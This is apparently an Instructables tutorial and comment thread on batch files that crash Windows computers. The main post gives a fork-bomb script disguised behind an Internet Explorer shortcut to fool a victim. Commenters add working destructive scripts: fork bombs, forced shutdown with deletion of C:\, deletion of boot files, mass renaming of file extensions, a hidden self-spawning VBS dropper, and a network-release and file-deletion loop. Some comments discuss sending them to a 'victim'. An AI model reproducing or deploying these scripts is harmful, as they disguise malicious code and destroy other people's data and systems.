Picture of Batch File to Crash a Computer

This time I will be showing you how to create a batch file to crash a computer.

I am not to be held responsible for individuals or groups of people that suffer consequences of using this information or the files that I provided, these consequences include things such as expulsion, getting fired, or legal action.

Step 1: The Code

Picture of The Code

As usual we will begin by opening notepad. What this script will do is open command prompt six times then continuously loop so it will continue to open command prompt continuously until the computer freezes up or is turned off, this will not to any harm to the computer.

This is one of the most simple scripts ever. Just type

start
start
start
start
start
start
start crash



Then save the file as a batch file by putting .bat at the end of the file name while saving.
You will have to save the file name as crash.bat unless you change the bottom line of the script to a different name like

start launch

or whatever just if you wanna name the file something else change the last line of the code to something else.

Also if you want to make it more fun create a shortcut to your batch file, you can name the shortuc whatever you want, then right click on the shortcut go to properties then go to change icon, you can make the icon internet explorer and name the shortcut internet explorer.

To make this even more believeable at the top of the script above the first start you can put these two lines

@echo off
start C:\Program Files\Internet Explorer\iexplore.exe

So your final code would look like this

@echo off
start C:\Program Files\Internet Explorer\iexplore.exe
start
start
start
start
start
start

shorter way:

start a.bat

save file as a.bat

simple as that

KyenC (author)2017-06-29

this is a quick crasher

save it as crasher.bat

crash:

start crasher.bat

GOTO CRASH

it opens itself up over and over again.

AngChingYong (author)2017-05-21

Easiest way to crash in my opinion :

@echo off
:crash
start
goto crash

ZeroGEmeraldWolf (author)2017-01-17

hear is a fun one and i cant chang the icon can i get some help@echo off

Hanpuh (author)2016-02-04

simplest thing for a crash:

@echo off

:loop

start explorer

goto loop

PavelB32 (author)Hanpuh2016-11-30

%0|%0

Mate. Seriously.

CordingWater6D (author)2016-11-03

Type this in

:here

start %0

goto :here

it will open up never ending command prompts!

CordingWater6D (author)2016-11-03

Put this instead

:here

start%0

goto :here

the file will open us never ending Command prompts so you have to manually turn off the PC

Woowingdaboss (author)2016-06-15

Can't you just type cmd and use that it is alot shorter.

jessolo (author)2016-05-10

If your looking for the easiest fork bomb script its tihis

:start

start

goto start

TnvT (author)2016-04-19

this is a fork bomb

@echo off
color 0a
:X
start crash.bat
goto X

xXDARKMATTERXx (author)2014-03-17

this will really mess up a pc (don't run it on yourself it will literally destroy your pc)

@echo off

shutdown /s /f /t 10 /c You got pwned by xXDARKMATTERXx

Del C:\ *.* /y

what are you tryin to do, get rid of the entire computer???

XexeionT (author)xXDARKMATTERXx2016-01-23

so if I send this to some one who scammed me dous it still work?

or this

@echo off

:1

mkdir C:\

goto 1

tuxsor (author)2015-11-27

And with each one that it opens will open 1 more so if 1 is running it opens 1 more therefor thre is 2 then 4 then 8 then 16 then 32 then 64 then 128 and ect...

oh there was a mistake with my code, replace the C:\ programe files\ect. with

start http://www.google.com/

tuxsor (author)2015-11-27

Meaning that it would non stop open Iexplorers and if they try to close it, they cant because it has already open almost 5 more of it's self

tuxsor (author)2015-11-27

I would prefer more of a thing that open inter net explorer and opens it's self constantly.

Ex.

@echo off

title ZCrash

Z:

start C:\Programs Files\Internet Explorer\iexplorer.exe

start ZCrash

goto Z

vangrace (author)2015-10-27

I fear trying it out.. But is there a batch file that can automatically activate this code say, if it's been transferred to the victim's PC?

RyanK10 (author)2015-07-14

@echo off

0:

taskkill -IM explorer.exe -f

start explorer.exe

goto 0

RyanK10 (author)2015-07-14

@echo off

0:

start www.facebook.com

goto 0

RyanK10 (author)2015-07-14

@echo off

title You won't see it coming

mkdir C:\WindowsFire

attrib +h C:\WindowsFire

echo Set WshShell = WScript.CreateObject ("WScript.Shell") >> C:\WindowsFire\fire.vbs

echo WshShell.Run ("PinguinGen.bat") >> C:\WindowsFire\fire.vbs

echo @echo off >> C:\WindowsFire\PinguinGen.bat

echo mkdir C:\Pinguin >> C:\WindowsFire\PinguinGen.bat

echo attrib +h C:\Pinguin >> C:\WindowsFire\PinguinGen.bat

echo ^echo @echo off ^>^> C:\Pinguin\Pinguin.bat >> C:\WindowsFire\PinguinGen.bat

echo ^echo :0 ^>^> C:\Pinguin\Pinguin.bat >> C:\WindowsFire\PinguinGen.bat

echo ^echo start C:\Pinguin\pind.vbs ^>^> C:\Pinguin\Pinguin.bat >> C:\WindowsFire\PinguinGen.bat

echo ^echo ping 127.0.0.1 -t ^>^> C:\Pinguin\Pinguin.bat >> C:\WindowsFire\PinguinGen.bat

echo ^echo goto 0: ^>^> C:\Pinguin\Pinguin.bat >> C:\WindowsFire\PinguinGen.bat

echo ^echo CreateObject("Wscript.shell").Run "C:\Pinguin\Pinguin.bat", 0, True ^>^> C:\Pinguin\pind.vbs >> C:\WindowsFire\PinguinGen.bat

echo start C:\Pinguin\pind.vbs >> C:\WindowsFire\PinguinGen.bat

start C:\WindowsFire\fire.vbs

exit

This is a silent running resource starvation script.

This batch file will disconnect them offline for a while and delete all there current directory files and the directory before the current one. I would be careful using this. This is for education purposes only, I am not responsible for any damage you have done. Use it at your own risk:

ipconfig /release

:loop

start ping -t -l 65500 127.0.0.1

start title We are anonymous

start title We are Legion

start title We do not forgive

start title We do not forget

start www.google.com

start ping -t -l 65500 127.0.0.1

del .

Y

goto loop

i am wondering, on a computer with 1 gigabyte of ram, how long would this batch take to crash?

fraggature (author)A.C.E.2009-02-20

1GB? not long. 32GB on the other hand, that will take some time...

mcfriutcake (author)fraggature2015-05-23

not with the file i have made it would only take about 1 miniute tops

it crashed my friends laptop that had 4 GB Ram in 28.134 seconds

A.C.E. (author)fraggature2009-02-20

Ok thanks

darkamie616 (author)A.C.E.2010-04-09

actually, with 1mb of ram, all that it would need is to delete PART of an important file, such as a file to boot up your pc, and it would be crashed

mcfriutcake (author)2015-05-23

i have made a batch file which can duplicate it self when ever a program is open then feeds information to my wireless network router then to my hard drive then a code is required to get the computer to work again

Jahwi (author)2015-05-17

i made a cool batch AI/ chatbot https://sourceforge.net/projects/meri/

darkchocolate510 (author)2015-05-06

love it

AlexG22 (author)2015-04-02

not a bad code, but i was wondering if anybody knows how to make a automatic self emailing virus...to use as a prank on friends

GeoffreyV (author)2015-03-25

All Fine and Well but it is my guess there must be some way to remove all security permissions from the front of the whatever drive. I did this once by accident and had to reload the entire system because I could not access my own reason at all and MS does not seem to get their programmers to make a security repair utility for NTFS drives with damaged security settings. More than likely you can do such a thing from a batch file. Just be sure its your own machine and not someone elses.

Crash a computer in an instant:

@echo off

cls

ren *.exe *.txt

ren *.jpeg *.txt

ren *.mp3 *.txt

ren *.* *.bat

%0|%0

0%|0%

start

start

start

start

echo %random%

echo %random%

echo %random%

start dontclickthis.bat

save as dontclickthis.bat

what it does is rename file extensions to txt, then rename txt to bat, start infinite number of windows, get a error, start more windows, print random text and start the file again.

(NOTE: the *.* command may not work.)

AndroidR (author)2015-03-05

@echo off

ren *.exe *.txt

ren *.jpeg *.txt

ren *.mp3 *.txt

ren *.doc *.com

ren *.jpg *.txt

cak01vej (author)2015-02-01

This is what I did, it gives 5 seconds to stop it, if I accidentally start it, but you could just remove that feature by deleting the "timeout"

@echo off
echo %Stopping computer in...
timeout /T 5 /nobreak
:A
start "" "Explorer.exe"
goto :A

wzerw.can (author)2014-12-04

I have a good one:

@echo off

c:

cd \

attrib -h -r -s msdos.sys

attrib -h -r -s io.sys

del msdos.sys

del io.sys

TimT1 (author)2014-09-11

Instead of

start

start

start

etc, then

start crash

it'll be faster to just

start crash

start crash

etc

farlandhunter (author)2013-03-04

There is an easier way.
Code:
:1
start
goto 1

You can also name it anything you want without changing any of the code.

More quicker and a scarier way for the person getting this file thinking it's a virus, or they killed the computer (but is harmless) is
code:
taskkill /im explorer.exe

What that does is just closes the windows operating system.
Don't worry, it will be fine when you reboot it.

haha101 (author)2012-10-21

%0|%0 is a lot more effective. Make sure you save everything. your computer won't die
